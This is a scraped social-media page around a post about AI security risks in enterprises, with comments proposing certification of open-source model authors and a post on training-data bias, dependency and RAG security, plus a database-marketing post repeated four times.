Avivah Litan’s Post

I was expecting this !!! You cannot use Open Source in the enterprise without something I call "Enterpise Socket", that is an interface of all extrenal AI to inside the enterprise. Here you have to have all the possible guardrails, security and other tools that make an AI software usable in an enterpise. At UiPath with have the Trust Layer and the LLM Gateway that fulfill the "Socket" requirements. I was thinking about another solution to this problem. The companies that deal with Open Source like Hugging Face, should have a Certification for the Authors. Like in Califronia, you have a Drivers License that is not verified for address, and you have a Real ID that could be used to fly, because the owner needs to prove its address. This should be voluntary, and if somebody wants to download a model for example , should see if the author has a Real ID or not. In case of detection of malicious software, the authorities in the domicile country should have access to the person's address. Of course not all the countries would sign this, but many would.

🚒 Sharing this insightful post to be aware of the increased security risks of AI usage on enterprises. Also few examples on how threats have been introduced in common AI models and tools to steal data. #cybersecurity #ai #genai #llms #artificialintelligence #vulnerability Hugging Face

About a year ago, I sat on some panels discussing AI and security. I wanted to revisit those thoughts since it’s been a year and see if anything has changed. I’ll only discuss Training injection in this post in an effort to keep the content shorter. Big data was the hot topic before LLMs and generative AI came on the popular scene. Data is what we use to prepare an AI system for the job we intend for it through a process called Machine Learning (ML). In this case, the goal is to provide a significant amount of data (or “patterns”) that can be referenced by the AI workflow. Preparing large amounts of data is a large task requiring complex ETL systems with the goal of normalizing data into a usable format for the Machine Learning platform. With so much data and the complexity of the ETL systems, it can be difficult to detect when bias is introduced or data is being unintentionally leaked. Introducing bias and the inclusion of ETL dependencies are the more likely concerns in my opinion. The introduction of bias is fascinating. One can simply search the internet for racial bias in facial recognition to see the impact this bias is having in law enforcement and security. You can also see how bias affected Amazon’s approach to reviewing resumes and how it presented resumes from males almost exclusively due to the training set provided of resumes of past hires that were predominantly, but not exclusively from males. Careful analysis of your datasets is key. Another scenario of security concern is the code used in the big data/ML processing. The code could introduce it’s own vulnerabilities or, the more likely scenario, the code’s certain dependance on libraries open the system up to concerns. These are common concerns for the average software engineer as well. CI tools like Dependabot help with automating dependency upgrades and other CI tools can be used for vulnerable code alerting you to changes you should make to avoid security pitfalls. RAG is another capability in the context of AI that has vulnerabilities. Retrieval Augmented Generation (RAG) is a method to improve the fidelity and accuracy of AI systems by including additional sources of information for reference as part of the chain of processing a request of an AI system. Ensuring a clean RAG system is crucial for ensuring security. As AI systems mature, new vulnerabilities and security impacts will come to light as I’m sure that this post will become aged moments before I submit it. As for now, in the case of training injections, analysing your datasets, ensuring your tooling dependencies are up to date, and that your RAG systems are clean are clear actions to take when building and securing your systems.

💡 AI has become a huge disruptor in the #database management space in many ways. Generative models are revolutionizing how we handle data, simplifying performance optimization, and enhancing problem-solving. 🛠️ Management tools are now capable of generating high-performance Postgres setups, making complex configurations a breeze. Our CTO Marc Linster explores the future of database management and AI integration in his recent Solutions Review article. Give it a read here ⬇️ https://okt.to/s0tANg #PostgreSQL #EDB #AI #DatabaseManagement #Privacy #TechInnovation

💡 AI has become a huge disruptor in the #database management space in many ways. Generative models are revolutionizing how we handle data, simplifying performance optimization, and enhancing problem-solving. 🛠️ Management tools are now capable of generating high-performance Postgres setups, making complex configurations a breeze. Our CTO Marc Linster explores the future of database management and AI integration in his recent Solutions Review article. Give it a read here ⬇️ https://okt.to/RLEntM #PostgreSQL #EDB #AI #DatabaseManagement #Privacy #TechInnovation

💡 AI has become a huge disruptor in the #database management space in many ways. Generative models are revolutionizing how we handle data, simplifying performance optimization, and enhancing problem-solving. 🛠️ Management tools are now capable of generating high-performance Postgres setups, making complex configurations a breeze. Our CTO Marc Linster explores the future of database management and AI integration in his recent Solutions Review article. Give it a read here ⬇️ https://okt.to/QV6E32 #PostgreSQL #EDB #AI #DatabaseManagement #Privacy #TechInnovation

💡 AI has become a huge disruptor in the #database management space in many ways. Generative models are revolutionizing how we handle data, simplifying performance optimization, and enhancing problem-solving. 🛠️ Management tools are now capable of generating high-performance Postgres setups, making complex configurations a breeze. Our CTO Marc Linster explores the future of database management and AI integration in his recent Solutions Review article. Give it a read here ⬇️ https://okt.to/q75HxL #PostgreSQL #EDB #AI #DatabaseManagement #Privacy #TechInnovation